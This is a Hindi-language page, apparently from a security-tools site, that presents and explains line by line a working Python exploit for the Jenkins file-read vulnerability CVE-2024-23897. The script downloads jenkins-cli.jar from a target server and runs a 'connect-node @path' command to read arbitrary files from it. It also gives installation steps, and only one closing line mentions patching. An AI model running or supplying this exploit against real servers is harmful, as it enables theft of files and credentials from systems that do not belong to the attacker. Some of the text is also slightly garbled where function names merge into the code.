
Python में बना Jenkins को भेदने वाला exploit

पैरामीटर ip , puerto , ruta

एक्सप्लॉइट का आउटपुट

सहायता पैनल
यहाँ कोड की व्याख्या Markdown में दी गई है:
यह स्क्रिप्ट Jenkins (CVE-2024-23897) में एक विशिष्ट कमजोरी का शोषण करने के लिए डिज़ाइन की गई है। यह Jenkins सर्वर से एक JAR फ़ाइल डाउनलोड करने और Jenkins नोड को कनेक्ट करने के लिए पेलोड चलाने की अनुमति देती है। नीचे कोड के प्रत्येक भाग की व्याख्या दी गई है:
import argparse
import requests
import os
import subprocess
import sys
argparse: कमांड लाइन तर्कों को संभालने के लिए।requests: HTTP अनुरोध करने के लिए।os: ऑपरेटिंग सिस्टम से इंटरैक्ट करने के लिए।subprocess: सिस्टम कमांड चलाने के लिए।sys: Python इंटरप्रेटर से इंटरैक्ट करने के लिए।bannerdef banner():
"""
उपकरण के लिए एक सजावटी बैनर प्रिंट करता है।
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
यह फ़ंक्शन स्क्रिप्ट की शुरुआत में एक सजावटी बैनर प्रिंट करता है।
descargar_jardef descargar_jar(ip, puerto):
"""
निर्दिष्ट Jenkins सर्वर से jenkins-cli.jar फ़ाइल डाउनलोड करता है।
Args:
ip (str): Jenkins सर्वर का IP पता।
puerto (str): Jenkins सर्वर का पोर्ट।
Returns:
bool: यदि डाउनलोड सफल हुआ तो True, अन्यथा False।
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] फ़ाइल डाउनलोड नहीं हो सकी। स्थिति कोड: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] अनुरोध करते समय त्रुटि: {errorhttp}")
return False
यह फ़ंक्शन निर्दिष्ट IP पते और पोर्ट द्वारा Jenkins सर्वर से jenkins-cli.jar फ़ाइल डाउनलोड करता है। यदि डाउनलोड सफल होता है, तो फ़ाइल को सिस्टम में सहेजता है और True लौटाता है; अन्यथा False लौटाता है।
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
Jenkins नोड को कनेक्ट करने के लिए पेलोड चलाता है।
Args:
ip (str): Jenkins सर्वर का IP पता।
puerto (str): Jenkins सर्वर का पोर्ट।
ruta (str): फ़ाइल पढ़ने के लिए पथ।
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] नोड कनेक्ट करने का प्रयास करते समय त्रुटि: {error_payload}\n")
यह फ़ंक्शन jenkins-cli.jar फ़ाइल का उपयोग करके Jenkins नोड को कनेक्ट करने के लिए एक कमांड चलाता है। कमांड चलाने के बाद, JAR फ़ाइल को हटा देता है। यदि निष्पादन में त्रुटि होती है, तो एक त्रुटि संदेश प्रदर्शित करता है।
maindef main():
"""
मुख्य फ़ंक्शन जो तर्कों को पार्स करता है और संबंधित फ़ंक्शन चलाता है।
"""
parser = argparse.ArgumentParser(description="\n[+] CVE-2024-23897 का शोषण करने के लिए एक्सप्लॉइट\n")
parser.add_argument("ip", type=str, help="\n[+] Jenkins सर्वर का IP पता\n")
parser.add_argument("puerto", type=str, help="\n[+] Jenkins सर्वर का पोर्ट\n")
parser.add_argument("ruta", type=str, help="\n[+] फ़ाइल पढ़ने का पथ\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
स्क्रिप्ट का मुख्य फ़ंक्शन:
ip, puerto, ruta) का विश्लेषण करता है।banner फ़ंक्शन को कॉल करता है।descargar_jar फ़ंक्शन को कॉल करता है।attack_payload फ़ंक्शन को कॉल करता है; यदि नहीं, तो एग्ज़िट कोड 1 के साथ स्क्रिप्ट समाप्त करता है।if __name__ == '__main__':
main()
यह ब्लॉक सुनिश्चित करता है कि main फ़ंक्शन केवल तभी चले जब स्क्रिप्ट सीधे निष्पादित हो, मॉड्यूल के रूप में आयात होने पर नहीं।
यह स्क्रिप्ट Jenkins में एक कमजोरी का शोषण करने का एक उपकरण है। यह Jenkins सर्वर से एक JAR फ़ाइल डाउनलोड करता है और उस फ़ाइल का उपयोग करके एक पेलोड चलाता है जो Jenkins नोड को कनेक्ट करता है। आवश्यक तर्क (ip, puerto, ruta) कमांड लाइन के माध्यम से प्रदान किए जाते हैं।
यहाँ प्रत्येक के लिए pip install कमांड के साथ आवश्यक लाइब्रेरियों की सूची दी गई है:
argparse: यह लाइब्रेरी Python की मानक लाइब्रेरी में शामिल है, इसलिए आपको इसे स्थापित करने की आवश्यकता नहीं है।
requests: HTTP अनुरोध करने के लिए।
pip install requests
os: यह लाइब्रेरी Python की मानक लाइब्रेरी में शामिल है, इसलिए आपको इसे स्थापित करने की आवश्यकता नहीं है।
subprocess: यह लाइब्रेरी Python की मानक लाइब्रेरी में शामिल है, इसलिए आपको इसे स्थापित करने की आवश्यकता नहीं है।
sys: यह लाइब्रेरी Python की मानक लाइब्रेरी में शामिल है, इसलिए आपको इसे स्थापित करने की आवश्यकता नहीं है।
pip install requests
@/पथ/से/फ़ाइल शामिल है।@/पथ/से/फ़ाइल की व्याख्या करता है और इस तर्क को निर्दिष्ट फ़ाइल की सामग्री से बदल देता है।इस कमजोरी के विरुद्ध सिस्टम की सुरक्षा के लिए Jenkins को अपडेट करना और उचित रूप से कॉन्फ़िगर करना महत्वपूर्ण है।
